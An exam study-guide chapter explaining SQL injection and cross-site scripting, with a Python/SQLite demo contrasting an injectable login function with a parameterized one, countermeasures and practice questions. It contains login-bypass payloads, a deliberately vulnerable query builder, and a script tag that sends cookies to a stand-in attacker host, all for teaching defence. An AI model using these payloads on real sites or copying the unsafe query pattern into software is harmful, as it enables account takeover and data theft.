Sub topic 14
SQL injection and cross-site scripting
This chapter assumes you know what a web browser, a web server and a database are, and that you can read a short snippet of code. You do not need to write code for the exam. You do need to recognize these two attacks from a scenario and pick the right countermeasure.
Why these attacks matter
SQL injection and cross-site scripting (XSS) are web application attacks. They do not target a user's PC directly or the network. They target a website that trusts the input it receives. Both come from the same mistake: the application treats data typed by a user as if it were part of its own instructions.
On the 220-1102 exam, these attacks carry less weight than malware or social engineering. Questions are short and usually ask you to name the attack or choose the fix.
| Attack | What the attacker abuses | Where the malicious input runs | Typical goal |
|---|---|---|---|
| SQL injection | A database query built from user input | On the database server | Read, change or delete stored data, or bypass a login |
| Cross-site scripting | A page that displays user input without cleaning it | In the victim's browser | Steal session cookies, redirect users, deface the page |
SQL injection
SQL (Structured Query Language) is the language web applications use to talk to databases. A login form might send this query to the database:
SELECT * FROM users WHERE name = 'alice' AND password = 'S3cret!';If the application builds that text by pasting in whatever the user typed, an attacker can type SQL instead of a password. This is SQL injection. The attacker "injects" extra SQL into the query so the database runs it.
A worked example
Suppose the attacker types alice as the name and ' OR '1'='1 as the password. The query becomes:
SELECT * FROM users WHERE name = 'alice' AND password = '' OR '1'='1';The condition '1'='1' is always true, so the database returns a row and the login succeeds. The attacker never knew the password.
The following Python program shows the flaw and the fix. It uses SQLite, which is built into Python, so it runs as written.
import sqlite3
conn = sqlite3.connect(":memory:")
conn.execute("CREATE TABLE users (name TEXT, password TEXT)")
conn.execute("INSERT INTO users VALUES ('alice', 'S3cret!')")
def login_unsafe(name, password):
# Builds the query by pasting user input into the text.
query = f"SELECT * FROM users WHERE name = '{name}' AND password = '{password}'"
return conn.execute(query).fetchone() is not None
def login_safe(name, password):
# Sends the query and the values separately.
query = "SELECT * FROM users WHERE name = ? AND password = ?"
return conn.execute(query, (name, password)).fetchone() is not None
attack = "' OR '1'='1"
print("unsafe:", login_unsafe("alice", attack))
print("safe: ", login_safe("alice", attack))The output is unsafe: True and safe: False. In the safe version, the ? placeholders tell the database that the values are data only. The attacker's quote characters have no special meaning, so the whole string is compared to the stored password and fails.
What an attacker can do with it
SQL injection is not limited to bypassing logins. Depending on the database permissions, an attacker may:
- Read tables they should not see, such as customer records or password hashes.
- Modify or delete data.
- In serious cases, run commands on the database server.
Typical signs in a scenario are a web form, a URL parameter or a search box, plus text like a stray apostrophe, OR 1=1, or DROP TABLE in the input.
Countermeasures
- Parameterized queries (also called prepared statements). This is the main fix, shown above.
- Input validation. Reject input that does not match what the field expects, such as letters only for a name.
- Least privilege. The web application's database account should only have the rights it needs. If it cannot drop tables, an injection cannot drop them either.
- Web application firewall (WAF). A WAF filters known attack patterns before they reach the site. It helps, but it does not replace fixing the code.
Cross-site scripting (XSS)
Cross-site scripting is an attack where the attacker gets a malicious script to run in another user's browser while the user views a trusted site. The script runs with that site's permissions, so it can read the user's session cookie or page content.
How it differs from SQL injection
SQL injection attacks the server's database. XSS attacks the other visitors of the site. The server is only the delivery vehicle.
The three types
| Type | How the script arrives | Example |
|---|---|---|
| Stored (persistent) | The site saves the script, and every visitor who loads that page runs it | A malicious comment on a forum post |
| Reflected | The script is in a link, and the site echoes it back in the response | A phishing email with a crafted search URL |
| DOM-based | The page's own JavaScript writes unsafe input into the page in the browser | A script that inserts a URL fragment into the page |
Stored XSS tends to be the most dangerous because it needs no tricked click. Reflected XSS is usually combined with phishing, which links this chapter back to social engineering.
A worked example
A forum displays comments exactly as typed. An attacker posts this comment:
<script>document.location='https://evil.example/?c='+document.cookie</script>Anyone who opens the thread runs the script. Their browser sends the forum's session cookie to the attacker's server, and the attacker can then use that cookie to act as the victim.
The fix is to encode output so the browser shows the text instead of running it. The next program shows this with Python's standard library.
import html
comment = '<script>alert("xss")</script>'
print(html.escape(comment))It prints <script>alert("xss")</script>. The browser displays this as literal text and does not execute it.
Countermeasures
- Output encoding. Convert special characters such as
<and>before putting user input in a page. - Input validation and sanitization. Reject or strip script content from fields that should not have it.
- Content Security Policy (CSP). A response header that tells the browser which script sources it may run.
- HttpOnly cookies. This cookie flag stops page scripts from reading the session cookie, which limits what a stolen script can do.
- Browser and extension updates. These help on the user side, but they do not fix a vulnerable site.
Comparing the two attacks
Common mistakes and edge cases
- Confusing the two attacks. Ask where the malicious input runs. If it runs in a database, it is SQL injection. If it runs in a visitor's browser, it is XSS.
- Confusing XSS with phishing. Phishing tricks a person into giving up information. XSS tricks a browser into running code. A reflected XSS attack often uses a phishing link to deliver it.
- Thinking antivirus stops them. Anti-malware on the user's PC does not fix a vulnerable website. The fix is in the application code, which is the site owner's job.
- Relying only on a WAF. A WAF can be bypassed. Parameterized queries and output encoding fix the cause.
- Client-side checks only. Validation in the browser can be skipped by an attacker who sends requests directly. The server must validate too.
What a technician should do
A technician on the exam is rarely asked to fix the code. The usual correct answers are to report the issue to the web development or security team, to keep web servers and frameworks patched, to apply least privilege, and to tell users not to click unexpected links. For a user, keeping the browser updated and being wary of links in unsolicited messages reduces the risk from reflected XSS.
Exercise
A company's customer portal has a search box. A tester types ' OR 1=1 -- into it and the portal returns every customer record. Name the attack and give the best fix the developers should apply.
Show answer
This is SQL injection. The input changed the database query so it matched every row. The best fix is to use parameterized queries (prepared statements), with input validation and a least-privilege database account as supporting measures.
Exercise
A forum visitor opens a thread, and their session is hijacked. An investigator finds that another user's comment contained a script tag that sent cookies to an outside server. Name the attack type, say whether it is stored or reflected, and name two countermeasures.
Show answer
This is cross-site scripting. It is stored XSS, because the forum saved the malicious comment and served it to every visitor. Countermeasures include output encoding of user comments, a Content Security Policy, and HttpOnly cookies.